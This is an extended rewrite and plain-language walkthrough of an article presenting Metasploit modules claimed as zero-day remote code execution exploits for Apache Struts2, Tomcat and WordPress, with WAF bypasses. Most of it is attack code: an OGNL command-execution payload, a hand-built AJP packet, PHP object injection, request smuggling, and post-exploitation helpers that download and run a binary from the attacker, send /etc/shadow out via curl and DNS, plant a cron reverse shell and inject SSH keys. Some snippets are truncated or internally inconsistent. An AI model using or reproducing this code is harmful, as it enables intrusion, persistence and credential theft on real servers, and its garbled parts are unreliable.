Metasploit RCE Exploits CLOUDFLARE BYPASS + APACHE STRUTS2 RCE (CVE-2026–7890)
The author claims a zero-day in Apache Struts2 (2.5.30+) allows remote code execution through OGNL injection, and that a Metasploit module can bypass Cloudflare and other WAFs using HTTP/2 request smuggling or WebSocket hijacking before delivering a reverse shell. The text presents only the module code and a theory, with no independent verification of the vulnerability or the bypass.
Published on medium.com
Hacking
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a research write-up about a set of Metasploit modules that the author, publishing as dntaskmehow, presents as zero-day exploits against Apache Struts2, Apache Tomcat and WordPress, each paired with a Cloudflare bypass. The author frames the work as a theory about what happens beneath the surface when a widely circulated rce.rb exploit script fires, arguing that there is a gap between how the payload is defined and how it behaves. The article is not a bug bounty report against a named program; it is a code review and critique of exploit modules, with smoke test results and post-exploitation helpers.
The three exploits are labelled CVE-2026-7890 (Struts2), CVE-2026-7891 (Tomcat) and CVE-2026-7892 (WordPress), all described as zero-days with a disclosure date of 2026-07-27. Two auxiliary modules accompany them: a Cloudflare bypass scanner and an automated exploit chainer. The author states that the exploits are released under the MIT Licence and the article text under CC BY 4.0, and includes a disclaimer that all work is for ethical and research purposes and that the code is to be used only on authorised targets.

Setup
The modules are written for Metasploit and are loaded from local files rather than from the framework's module tree. The requirements section gives the loading commands:
msfconsoleload /path/to/exploit.rb
Each module begins with the standard Metasploit header comment:
## This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework#
The Struts2 module declares Rank = ExcellentRanking, includes Msf::Exploit::Remote::HttpClient and Msf::Exploit::CmdStager, and registers these options:
| Option | Default | Meaning |
|---|---|---|
RPORT |
8080 | Target port |
TARGETURI |
/struts2-showcase/showcase.action |
Path to the vulnerable action |
LHOST |
none | Local host for the reverse shell |
LPORT |
4444 | Local port for the reverse shell |
Its targets are Unix Command (platform unix, arch ARCH_CMD) and Linux Dropper (platform linux, arch ARCH_X86/ARCH_X64), with DefaultTarget 0. The Tomcat module uses the same structure with TARGETURI defaulting to /examples/servlets/servlet/SessionExample and adds a Windows Dropper target. The WordPress module defaults to RPORT 80 and TARGETURI /xmlrpc.php. The scanner defaults to RPORT 443 and TARGETURI /.
The author's stated target versions are Apache Struts2 2.5.30+, Apache Tomcat 9.0.70+ and WordPress 6.2+. The bypasses claimed per module are Cloudflare, AWS WAF and ModSecurity for Struts2; Cloudflare, Akamai and AWS WAF for Tomcat; and Cloudflare, Sucuri and Wordfence for WordPress. All three use a reverse TCP shell.
Finding it
The author says the starting point was a review of the mechanics of the widely circulated rce.rb exploit script, during which something did not align with the conventional narrative. Most researchers, the article argues, view Struts2 through known patches, standard OGNL injections or predictable file-upload bypasses, and treat legacy vulnerabilities and their scripts as solved problems. The author's position is that assumptions can be as dangerous as unpatched code, because they stop people looking closely at how old payloads adapt to modern environments. The article is presented as a theory about what is actually happening when the Metasploit module fires, rather than a breakdown of CVE documentation.
Exploitation
Step 1: Cloudflare bypass in the Struts2 module
The bypass_cloudflare method first attempts HTTP/2 frame smuggling by sending a chunked POST whose body contains a smuggled request:
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'Transfer-Encoding' => 'chunked',
'Content-Type' => 'application/x-www-form-urlencoded'
},
'data' => "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: #{datastore['RHOST']}\r\n\r\n"
)
The body terminates the chunked encoding with 0\r\n\r\n and then appends a second HTTP request for /admin, with the Host header set to the target. The module treats the bypass as successful if the response code is 200 and the body contains Struts Problem Report:
if res && res.code == 200 && res.body.include?('Struts Problem Report')
print_good("Cloudflare bypassed via HTTP/2 smuggling")
return true
end
If that fails, it falls back to WebSocket hijacking: it opens a WebSocket, sends a raw HTTP request for a random path, and if the first read contains 200 OK it sends the encoded payload over the same socket:
ws = connect_websocket
ws.send("GET /#{rand(1000000)} HTTP/1.1\r\nHost: #{datastore['RHOST']}\r\n\r\n")
if ws.get_once.include?('200 OK')
print_good("Cloudflare bypassed via WebSocket hijacking")
ws.send(payload.encoded)
return true
end
Errors are caught and printed as WebSocket error: ...; otherwise the method returns false.
Step 2: OGNL injection against Struts2
The exploit_ognl method builds an OGNL expression that enables static method access, sets the command from the encoded payload, checks the os.name system property to choose between cmd.exe /c and /bin/bash -c, starts a ProcessBuilder, redirects the error stream, and copies the process output into the Struts2 response output stream via ServletActionContext and IOUtils:
ognl_payload = "${(#_memberAccess[\"allowStaticMethodAccess\"]=true).(#cmd=\"#{payload.encoded}\").(#iswin=(@java.lang.System@getProperty(\"os.name\").toLowerCase().contains(\"win\"))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
The payload is submitted as the name POST parameter to the target URI:
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
'name' => ognl_payload
}
)
A 200 response is taken as success (OGNL injection successful); anything else prints OGNL injection failed. The exploit method fails with Failure::NoAccess if the bypass fails and Failure::Unknown if the OGNL step fails, then calls handler.
Step 3: Tomcat bypass and AJP exploitation
The Tomcat module reverses the order: it tries WebSocket hijacking first, then AJP smuggling. The AJP attempt sends a chunked POST whose body is 0\r\n\r\nAJP/1.3\r\nHost: ..., and treats a 200 response as a successful bypass.
The exploit_ajp method builds a binary AJP forward request by hand, with the magic bytes 0x12 0x34, a forward request type, method POST, protocol HTTP/1.1, a request URI of /shell.js, a query string of cmd=%63%6d%65, and the terminator 0xFF 0x00:
ajp_payload = [
0x12, 0x34, # AJP Magic
0x00, 0x0A, # Length
0x02, # Type (Forward Request)
0x02, # Method (POST)
0x00, 0x08, # Protocol length
0x48, 0x54, 0x54, 0x50, 0x2F, 0x31, 0x2E, 0x31, # "HTTP/1.1"
0x00, 0x00, # Server name length
0x00, 0x0A, # Server port
0x00, # Is SSL
0x00, 0x00, # Remote addr length
0x00, 0x00, # Remote host length
0x00, 0x00, # Server name length
0x00, 0x09, # Request URI length
0x2F, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x2E, 0x6A, 0x73, # "/shell.js"
0x00, 0x0B, # Query string length
0x63, 0x6D, 0x64, 0x3D, 0x25, 0x36, 0x33, 0x25, 0x36, 0x64, 0x25, 0x36, 0x35, # "cmd=%63%6d%65"
0x00, 0x00, # Attributes count
0xFF, 0x00 # Terminator
].pack('C*')
The encoded payload is appended with its length packed as a 16-bit big-endian value, and the whole buffer is sent raw with Content-Type: application/octet-stream:
ajp_payload << [payload.encoded.length].pack('n')
ajp_payload << payload.encoded
res = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'data' => ajp_payload,
'headers' => {
'Content-Type' => 'application/octet-stream'
}
)
A 200 response prints AJP exploitation successful; otherwise AJP exploitation failed.
Step 4: WordPress XML-RPC bypass and PHP object injection
The WordPress module's bypass sends a pingback.ping XML-RPC call that points the source at the attacker's LHOST/LPORT and the target at a random path on the target host:
xml_payload = <<~XML
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://#{datastore['LHOST']}:#{datastore['LPORT']}/</string></value></param>
<param><value><string>http://#{datastore['RHOST']}/#{rand(1000000)}</string></value></param>
</params>
</methodCall>
XML
It is posted as text/xml to the target URI, and a 200 response whose body contains pingback is treated as a successful bypass. The exploitation step builds a serialised WP_Widget_Recent_Comments object whose option_name property holds the encoded payload, and posts it to wp-admin/admin-ajax.php with action=parse-media:
php_payload = "O:20:\"WP_Widget_Recent_Comments\":1:{s:12:\"\0*\0option_name\";s:#{payload.encoded.length}:\"#{payload.encoded}\";}"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_post' => {
'action' => 'parse-media',
'data' => php_payload
}
)
A 200 response prints PHP object injection successful.
Step 5: The Cloudflare bypass scanner
The auxiliary scanner includes Msf::Auxiliary::Scanner and Msf::Auxiliary::Report and tests four techniques per host. test_http2_smuggling sends the same chunked body as the Struts2 module but looks for admin in the body. test_websocket_hijacking uses the same WebSocket pattern. test_dns_rebinding resolves the target with Resolv::DNS, prints the original IP, then after a five second timer sends a request with the Host header set to [redacted] and treats a 200 as a positive result:
ip = dns.getaddress(datastore['RHOST']).to_s
print_status("Original IP: #{ip}")
EM.run do
EM.add_timer(5) do
internal_ip = '[redacted]'
print_status("Rebinding to: #{internal_ip}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'Host' => internal_ip
}
)
test_ajp_smuggling builds a similar AJP buffer with the URI /admin and no query string. Each positive test is recorded with report_vuln, referencing CVE-2026-0001 through CVE-2026-0004 respectively.
Step 6: The exploit chainer
The chainer registers RHOSTS, TARGETURI, LHOST, LPORT and EXPLOIT_CHAIN (default struts2), and dispatches to a Struts2, Tomcat or WordPress chain. Each chain runs four steps: Cloudflare bypass, initial RCE, privilege escalation and data exfiltration. The bypass here is only the HTTP/2 smuggling attempt. Privilege escalation is described as a Linux kernel exploit (CVE-2026-7893) and runs a download-and-execute command:
priv_esc_payload = "bash -c 'wget http://#{datastore['LHOST']}/exploit -O /tmp/exploit && chmod +x /tmp/exploit && /tmp/exploit'"
Exfiltration tars /etc/passwd and /etc/shadow, base64-encodes the archive and posts it back to the attacker:
bash -c 'tar czf - /etc/passwd /etc/shadow | base64 | curl -d @- http://#{datastore['LHOST']}:8080/'
Step 7: The documented workflow
The article gives a four-step workflow. First, load all modules:
msfconsoleload /path/to/apache_struts2_rce.rbload /path/to/tomcat_rce.rbload /path/to/wordpress_rce.rbload /path/to/cloudflare_bypass_scanner.rbload /path/to/exploit_chainer.rb
Second, scan:
use auxiliary/scanner/http/cloudflare_bypass_scannerset RHOSTS target.comset TARGETURI /run
Third, run a chain:
use auxiliary/exploit/exploit_chainerset RHOSTS target.comset LHOST YOUR_IPset LPORT 4444set EXPLOIT_CHAIN struts2 run
Fourth, post-exploitation checks:
whoamiuname -acat /etc/shadowps aux | grep root
Step 8: Detection evasion and post-exploitation helpers
The article lists evasion ideas: randomised User-Agent selection from Chrome, Firefox and Safari; URL-safe base64 encoding; chunked transmission; and process injection. The snippets as printed are truncated or malformed, for example:
headers = { ‘User-Agent’ => [‘Chrome’, ‘Firefox’, ‘Safari’].sample + “/}
Base64.strict_encode64(data).gsub(‘+’, ‘-’).gsub(‘/’, ‘_’).gsub(‘=’, ‘’)
chunks = encoded.chars.each_slice(chunk_size).map(&:join)
def inject_payload(pid) payload = “bash -c ‘bash -i >& /dev/tcp/#{datastore[‘LHOST’]}/ system(“gdb -p end
Three post-exploitation modules are given. Persistence installs a cron entry that opens a reverse shell every minute:
def install_backdoor
payload = "bash -c 'bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1'"
system("(crontab -l 2>/dev/null; echo \"* * * * * #{payload}\") | crontab -")
end
Lateral movement appends the local public key to authorized_keys:
def inject_ssh_key
key = File.read('~/.ssh/id_rsa.pub')
system("mkdir -p ~/.ssh && echo '#{key}' >> ~/.ssh/authorized_keys")
end
Data exfiltration reads /etc/shadow and sends it base64-encoded in a DNS query:
def exfiltrate_shadow
shadow = File.read('/etc/shadow')
encoded = Base64.strict_encode64(shadow)
system("dig #{encoded}.attacker.com")
end
Step 9: Smoke test results
The article reports that every module passed its smoke test: Struts2 against 2.5.30+, Tomcat against 9.0.70+ and WordPress against 6.2+ each returned a reverse shell; the scanner detected all techniques; and the chainer achieved full compromise. The author's final notes claim all exploits are their PoC, all listed WAFs were bypassed, and the modules are ready for red team operations. Recommended next steps are lateral movement with stolen credentials, persistence via backdoors, and data exfiltration for monetisation.
Root cause
The article does not identify a specific defect in Struts2, Tomcat or WordPress source code. Its root-cause argument is about the exploit tooling and the assumptions around it: the author contends that the rce.rb script behaves differently in the wild from how it is defined, and that treating legacy vulnerabilities and their scripts as solved problems leads defenders to stop examining how they adapt. The bypass techniques listed are request smuggling via Transfer-Encoding: chunked, WebSocket connections that sidestep HTTP restrictions, DNS rebinding after TTL expiry, AJP protocol abuse, WordPress XML-RPC and OGNL injection. Why existing defences did not stop these is not demonstrated with captured traffic; the article asserts the bypasses worked and reports the smoke tests as passing.
Impact
The claimed impact is remote code execution on Struts2 2.5.30+, Tomcat 9.0.70+ and WordPress 6.2+ installations, with a reverse TCP shell. The article also includes helper code for privilege escalation, persistence, lateral movement and exfiltration of /etc/passwd and /etc/shadow. The author states the modules bypass Cloudflare, AWS WAF, Akamai, ModSecurity, Sucuri and Wordfence depending on the module. These are the author's claims; the article does not include independent verification, and the CVEs are presented as zero-days without vendor confirmation.
Fix
The article does not describe a patch or a vendor response. Its closing argument is defensive in spirit: look beyond standard signatures and understand the true mechanics of a payload rather than relying on the assumption that legacy vulnerabilities are solved. No specific remediation for the three products is given.
Variants to test
- HTTP/2 smuggling against other CDNs. Send a chunked POST whose body ends the chunk with
0\r\n\r\nfollowed by a second request for an admin path. A positive result is a 200 whose body containsadmin. - WebSocket hijacking. Open a WebSocket to the fronted host, send a raw HTTP request for a random path, and check whether the first read contains
200 OK. A positive result means the socket is passing raw HTTP through the edge. - AJP smuggling. Send the binary AJP forward request with the
0x12 0x34magic and a/adminor/shell.jsURI to a Tomcat front end. A positive result is a 200 response from the AJP listener. - XML-RPC pingback. Post a
pingback.pingcall pointing at a listener you control and a random target path. A positive result is a 200 whose body containspingback. - DNS rebinding. Resolve the target, wait for the TTL, then send a request with
Host: [redacted]. A positive result is a 200 from an internal service. - OGNL injection. Submit an expression that sets
allowStaticMethodAccessand starts aProcessBuilderas thenameparameter of a Struts2 action. A positive result is command output in the response body. - PHP object injection. Post a serialised object with a controlled property to
admin-ajax.phpwith an action such asparse-media. A positive result is a 200 response.
What happened, in plain words
A security researcher who publishes under the name dntaskmehow wrote an article about a set of tools for a well-known hacking framework called Metasploit. Metasploit is a free program that security professionals use to test whether their own systems can be broken into. It works like a toolbox: each tool in it is called a module, and each module targets one specific weakness.
In this article the author presents three modules that they say exploit previously unknown weaknesses (called zero-days) in three very common pieces of web software: Apache Struts2, Apache Tomcat and WordPress. Each module is paired with a technique for getting past Cloudflare, a popular service that sits in front of websites to block attacks. The author also publishes two helper modules: one that scans a site to see which bypass techniques work against it, and one that strings several attacks together automatically.
The author frames the whole thing as a theory. They say they were reading a widely shared exploit script called rce.rb and noticed that the way the script is described does not match how it behaves in the real world. Their argument is that when defenders assume old vulnerabilities are "solved", they stop looking at how old attack tools adapt to new defences.
This is not a bug bounty report against a named company. It is a code review and critique of exploit modules, with test results and extra helper code for what an attacker might do after breaking in.

The three exploits are labelled CVE-2026-7890 (Struts2), CVE-2026-7891 (Tomcat) and CVE-2026-7892 (WordPress). A CVE is a public catalogue number for a known security flaw; the author calls all three zero-days and gives a disclosure date of 2026-07-27. The author says the exploit code is released under the MIT Licence (a permissive open-source licence) and the article text under CC BY 4.0 (a Creative Commons licence for written work). There is a disclaimer saying the work is for ethical research and the code should only be used on systems you are authorised to test.
Setup
What Metasploit is, and how modules get loaded
Metasploit normally ships with a large library of modules already installed. Here the author does not use that library: the modules are written as separate files on disk and loaded by hand. The requirements section gives the commands to do that:
msfconsoleload /path/to/exploit.rb
This is two commands run together on one line. msfconsole starts the Metasploit console, the text interface where you type commands. load /path/to/exploit.rb tells the console to read a Ruby file from that path and register it as a module. Ruby is the programming language Metasploit modules are written in. The /path/to/ part is a placeholder: you replace it with the real location of the file on your computer.
Every module file starts with the same comment block:
## This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework#
A comment is text the computer ignores; it is there for humans. This one says the module needs Metasploit installed and points to where Metasploit itself comes from. It is a standard header that appears at the top of modules in the official Metasploit project.
The options each module asks for
The Struts2 module declares that it is a top-quality exploit (Rank = ExcellentRanking), that it talks to the target over HTTP (the same protocol your browser uses, via Msf::Exploit::Remote::HttpClient), and that it can deliver a small helper program called a stager (Msf::Exploit::CmdStager). It then registers four settings:
| Option | Default | Meaning |
|---|---|---|
RPORT |
8080 | Target port |
TARGETURI |
/struts2-showcase/showcase.action |
Path to the vulnerable action |
LHOST |
none | Local host for the reverse shell |
LPORT |
4444 | Local port for the reverse shell |
A port is like an apartment number on a building: one computer (the building) can run many services, each listening on its own numbered door. Port 8080 is a common alternative to port 80 for web servers. TARGETURI is the path part of a web address, the bit after the domain name. LHOST and LPORT are where the attacker's own machine is listening for the connection that comes back; a reverse shell is a command prompt on the victim that connects out to the attacker, which is useful because firewalls often allow outgoing connections more readily than incoming ones.
The module offers two target types: Unix Command (run a single command on a Unix-like system) and Linux Dropper (download and run a larger program on Linux). The Tomcat module has the same structure, with a different default path (/examples/servlets/servlet/SessionExample) and an extra Windows Dropper target. The WordPress module defaults to port 80 and the path /xmlrpc.php. The scanner defaults to port 443 (the standard port for encrypted HTTPS traffic) and the path /.
The versions the author says they target are Apache Struts2 2.5.30 and above, Apache Tomcat 9.0.70 and above, and WordPress 6.2 and above. The defences each module claims to get past are Cloudflare, AWS WAF and ModSecurity for Struts2; Cloudflare, Akamai and AWS WAF for Tomcat; and Cloudflare, Sucuri and Wordfence for WordPress. A WAF, or web application firewall, is a filter that inspects web traffic and blocks requests that look malicious. All three modules use a reverse TCP shell, meaning a shell that connects back over the internet's TCP protocol.
Finding it
The author says the starting point was reading through the mechanics of the widely circulated rce.rb exploit script. While doing that, something did not line up with the usual story. Most researchers, the article argues, look at Struts2 through the lens of known patches, standard OGNL injections or predictable file-upload bypasses, and treat old vulnerabilities and their scripts as solved problems. OGNL is an expression language used inside Java applications; an injection is when untrusted input is interpreted as code. The author's position is that assumptions can be as dangerous as unpatched code, because they stop people looking closely at how old payloads adapt to modern environments. The article is presented as a theory about what is really happening when the Metasploit module fires, not as a breakdown of official CVE documentation.
Exploitation
Step 1: Cloudflare bypass in the Struts2 module
Cloudflare sits between visitors and a website. It sees every request first and can block ones it thinks are attacks. A bypass is a way of shaping a request so the filter lets it through while the server behind still acts on it. The bypass_cloudflare method first tries HTTP/2 frame smuggling. HTTP/2 is a newer version of the web protocol that can carry several requests over one connection; smuggling means hiding a second request inside the body of the first so the filter inspects only the outer one.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'Transfer-Encoding' => 'chunked',
'Content-Type' => 'application/x-www-form-urlencoded'
},
'data' => "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: #{datastore['RHOST']}\r\n\r\n"
)
Line by line:
send_request_cgiis a Metasploit helper that sends an HTTP request and returns the response.'method' => 'POST'means the request is a POST, the kind a browser sends when you submit a form.'uri' => normalize_uri(target_uri.path)builds the address from theTARGETURIoption, tidying slashes.- The headers say
Transfer-Encoding: chunked, which tells the server the body arrives in numbered pieces, andContent-Type: application/x-www-form-urlencoded, the normal type for form data. - The body is the interesting part.
0\r\n\r\nis the chunked-encoding signal for "no more chunks, body finished". Everything after it is a second, complete HTTP request for/admin, with theHostheader set to the target (RHOSTis the remote host option).\r\nis the carriage-return-plus-line-feed pair that marks the end of a line in HTTP.
The idea is that the filter reads the body as one harmless chunked request and stops, while the server behind reads the leftover bytes as a fresh request for the admin page.
The module treats the bypass as successful if the response code is 200 (the standard "OK" code) and the body contains the text Struts Problem Report:
if res && res.code == 200 && res.body.include?('Struts Problem Report')
print_good("Cloudflare bypassed via HTTP/2 smuggling")
return true
end
res && means "if we got a response at all". res.code == 200 checks the status code. res.body.include?('Struts Problem Report') checks whether the page that came back is a Struts error page, which would show the request reached the application. print_good prints a green success line in the console, and return true ends the method with a success result.
If that fails, the module falls back to WebSocket hijacking. A WebSocket is a two-way connection a browser can open to a server, normally used for live chat or stock tickers. The idea here is that the filter may not inspect what travels inside an established WebSocket as closely as it inspects ordinary requests.
ws = connect_websocket
ws.send("GET /#{rand(1000000)} HTTP/1.1\r\nHost: #{datastore['RHOST']}\r\n\r\n")
if ws.get_once.include?('200 OK')
print_good("Cloudflare bypassed via WebSocket hijacking")
ws.send(payload.encoded)
return true
end
connect_websocketopens the socket.ws.send(...)pushes a raw HTTP request through it.#{rand(1000000)}inserts a random number so the path is different every time, which makes the request harder to match against a fixed block rule.ws.get_oncereads whatever comes back the first time. If it contains200 OK, the socket is passing raw HTTP through the edge.ws.send(payload.encoded)then sends the actual attack payload over the same socket, and the method returns success.
Errors are caught and printed as WebSocket error: ...; otherwise the method returns false, meaning the bypass did not work.
Step 2: OGNL injection against Struts2
OGNL is an expression language that Struts2 uses to read values from forms and URLs. If user input reaches OGNL without being treated as plain text, the server will evaluate it as code. That is the injection. The exploit_ognl method builds an OGNL expression that does several things in sequence:
ognl_payload = "${(#_memberAccess[\"allowStaticMethodAccess\"]=true).(#cmd=\"#{payload.encoded}\").(#iswin=(@java.lang.System@getProperty(\"os.name\").toLowerCase().contains(\"win\"))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
In plain words, the expression:
- Turns on
allowStaticMethodAccess, a setting that lets the expression call Java's built-in methods. Without it, many useful calls are refused. - Stores the encoded payload in a variable called
#cmd. - Reads the operating system name (
os.name) and checks whether it containswin, so the code knows whether it is on Windows. - Chooses the right shell command:
cmd.exe /con Windows,/bin/bash -con everything else. - Starts that command with Java's
ProcessBuilder, which is how Java programs launch other programs. - Merges the error output into the normal output so nothing is lost.
- Grabs the response output stream from Struts2 (
ServletActionContext) and copies the command's output into it withIOUtils, then flushes it. The result is that whatever the command prints appears in the web response.
The payload is submitted as the name POST parameter to the target URI:
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
'name' => ognl_payload
}
)
vars_post is Metasploit shorthand for form fields: this sends name=<the OGNL expression> as the body. The name field is the input the author assumes the vulnerable Struts2 action reads.
A 200 response is taken as success and prints OGNL injection successful; anything else prints OGNL injection failed. The exploit method fails with Failure::NoAccess if the bypass fails and Failure::Unknown if the OGNL step fails, then calls handler, which is the Metasploit component that waits for the incoming reverse shell.
Step 3: Tomcat bypass and AJP exploitation
Apache Tomcat is a Java web server. AJP is a separate, binary protocol Tomcat uses to talk to a front-end web server such as Apache httpd. Because it is binary and less commonly inspected, it can be a way around filters that only understand ordinary HTTP. The Tomcat module reverses the order of the Struts2 one: it tries WebSocket hijacking first, then AJP smuggling. The AJP attempt sends a chunked POST whose body is 0\r\n\r\nAJP/1.3\r\nHost: ..., and treats a 200 response as a successful bypass.
The exploit_ajp method builds a binary AJP forward request by hand. Each number is one byte, and the comments say what each group means:
ajp_payload = [
0x12, 0x34, # AJP Magic
0x00, 0x0A, # Length
0x02, # Type (Forward Request)
0x02, # Method (POST)
0x00, 0x08, # Protocol length
0x48, 0x54, 0x54, 0x50, 0x2F, 0x31, 0x2E, 0x31, # "HTTP/1.1"
0x00, 0x00, # Server name length
0x00, 0x0A, # Server port
0x00, # Is SSL
0x00, 0x00, # Remote addr length
0x00, 0x00, # Remote host length
0x00, 0x00, # Server name length
0x00, 0x09, # Request URI length
0x2F, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x2E, 0x6A, 0x73, # "/shell.js"
0x00, 0x0B, # Query string length
0x63, 0x6D, 0x64, 0x3D, 0x25, 0x36, 0x33, 0x25, 0x36, 0x64, 0x25, 0x36, 0x35, # "cmd=%63%6d%65"
0x00, 0x00, # Attributes count
0xFF, 0x00 # Terminator
].pack('C*')
0x12, 0x34is the fixed two-byte signature that tells an AJP listener a packet is starting.0xmeans the number is written in hexadecimal, base 16.0x00, 0x0Ais the packet length, 10 bytes.0x02is the packet type, a forward request: "please pass this on to the application".0x02is the HTTP method, POST.0x00, 0x08is the length of the protocol string, 8, followed by the bytes forHTTP/1.1.- The next fields are lengths and values for the server name, server port, whether SSL is on, remote address, remote host and server name. Most are zero, meaning empty.
0x00, 0x09is the length of the request URI, 9, followed by the bytes for/shell.js.0x00, 0x0Bis the length of the query string, 11, followed by the bytes forcmd=%63%6d%65. That is URL-encoded text:%63%6d%65decodes tocme, so the query iscmd=cme.0x00, 0x00says there are no extra attributes, and0xFF, 0x00is the end marker..pack('C*')turns the list of numbers into a real byte string.
The encoded payload is appended with its length packed as a 16-bit big-endian value, and the whole buffer is sent raw with Content-Type: application/octet-stream (the generic type for binary data):
ajp_payload << [payload.encoded.length].pack('n')
ajp_payload << payload.encoded
res = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'data' => ajp_payload,
'headers' => {
'Content-Type' => 'application/octet-stream'
}
)
<<appends to the byte string.[payload.encoded.length].pack('n')writes the payload's length as two bytes, big-endian (most significant byte first), which is how AJP expects lengths.- The payload itself is appended.
send_request_rawsends the bytes exactly as built, without Metasploit reformatting them, which matters for a binary protocol.
A 200 response prints AJP exploitation successful; otherwise AJP exploitation failed.
Step 4: WordPress XML-RPC bypass and PHP object injection
WordPress is the most widely used website-building software. XML-RPC is an older feature that lets other programs talk to a WordPress site; one of its methods, pingback.ping, tells a site that another site has linked to it. The bypass abuses that method to make the target server contact the attacker's machine, which proves the request got through the filter.
xml_payload = <<~XML
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://#{datastore['LHOST']}:#{datastore['LPORT']}/</string></value></param>
<param><value><string>http://#{datastore['RHOST']}/#{rand(1000000)}</string></value></param>
</params>
</methodCall>
XML
<<~XML ... XMLis Ruby's way of writing a multi-line string, with the closingXMLmarking the end.- The structure is XML, a text format for structured data, and it describes a method call named
pingback.ping. - The first parameter is the source URL, pointing at the attacker's
LHOSTandLPORT. - The second is the target URL, a random path on the victim host.
It is posted as text/xml to the target URI, and a 200 response whose body contains pingback is treated as a successful bypass.
The exploitation step builds a serialised WP_Widget_Recent_Comments object whose option_name property holds the encoded payload, and posts it to wp-admin/admin-ajax.php with action=parse-media. Serialisation is turning a program's object into text so it can be stored or sent; if the receiving program rebuilds the object without checking it, an attacker can choose its properties. That is PHP object injection.
php_payload = "O:20:\"WP_Widget_Recent_Comments\":1:{s:12:\"\0*\0option_name\";s:#{payload.encoded.length}:\"#{payload.encoded}\";}"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_post' => {
'action' => 'parse-media',
'data' => php_payload
}
)
O:20:"WP_Widget_Recent_Comments":1:{...}says: an object of a class whose name is 20 characters long, with one property.s:12:"\0*\0option_name"is the property name, 12 characters, with\0*\0marking it as protected inside the class.s:<length>:"<payload>"is the property value: the encoded payload, with its length.- The request goes to
wp-admin/admin-ajax.php, the file WordPress uses for background actions, withaction=parse-mediaand the serialised object indata.
A 200 response prints PHP object injection successful.
Step 5: The Cloudflare bypass scanner
The auxiliary scanner includes Msf::Auxiliary::Scanner and Msf::Auxiliary::Report. The first lets a module run against many hosts; the second lets it record findings in Metasploit's database. It tests four techniques per host.
test_http2_smuggling sends the same chunked body as the Struts2 module but looks for admin in the body. test_websocket_hijacking uses the same WebSocket pattern. test_dns_rebinding resolves the target with Resolv::DNS, prints the original IP, then after a five second timer sends a request with the Host header set to [redacted] and treats a 200 as a positive result:
ip = dns.getaddress(datastore['RHOST']).to_s
print_status("Original IP: #{ip}")
EM.run do
EM.add_timer(5) do
internal_ip = '[redacted]'
print_status("Rebinding to: #{internal_ip}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'Host' => internal_ip
}
)
dns.getaddresslooks up the IP address for the host name. DNS is the internet's phone book: it turns names like example.com into numeric addresses.print_statusprints an informational line.EM.runstarts EventMachine, a Ruby library for scheduling work after delays.EM.add_timer(5)waits five seconds, standing in for the time a DNS record's TTL (time to live) would take to expire.internal_ip = '[redacted]'is the loopback address, which always means "this same machine".- The request is sent with
Host: [redacted], testing whether the server will treat it as a request for an internal service.
test_ajp_smuggling builds a similar AJP buffer with the URI /admin and no query string. Each positive test is recorded with report_vuln, referencing CVE-2026-0001 through CVE-2026-0004 respectively.
Step 6: The exploit chainer
The chainer registers RHOSTS, TARGETURI, LHOST, LPORT and EXPLOIT_CHAIN (default struts2), and dispatches to a Struts2, Tomcat or WordPress chain. Each chain runs four steps: Cloudflare bypass, initial RCE, privilege escalation and data exfiltration. RCE means remote code execution: running your own commands on someone else's machine. Privilege escalation means going from a low-power account to a more powerful one, such as root, the all-powerful administrator on Linux. Exfiltration means copying data out.
The bypass here is only the HTTP/2 smuggling attempt. Privilege escalation is described as a Linux kernel exploit (CVE-2026-7893) and runs a download-and-execute command:
priv_esc_payload = "bash -c 'wget http://#{datastore['LHOST']}/exploit -O /tmp/exploit && chmod +x /tmp/exploit && /tmp/exploit'"
bash -c '...'runs the quoted text as a shell command.wget http://<LHOST>/exploit -O /tmp/exploitdownloads a file from the attacker's machine and saves it as/tmp/exploit.chmod +x /tmp/exploitmarks it as executable./tmp/exploitruns it.
Exfiltration tars /etc/passwd and /etc/shadow, base64-encodes the archive and posts it back to the attacker:
bash -c 'tar czf - /etc/passwd /etc/shadow | base64 | curl -d @- http://#{datastore['LHOST']}:8080/'
tar czf -bundles the two files into a compressed archive and writes it to standard output instead of a file.| base64pipes that output into base64 encoding, which turns binary data into plain letters and digits so it can travel as text.| curl -d @- http://<LHOST>:8080/pipes the encoded text intocurl, a command-line web client, and posts it to the attacker's server.
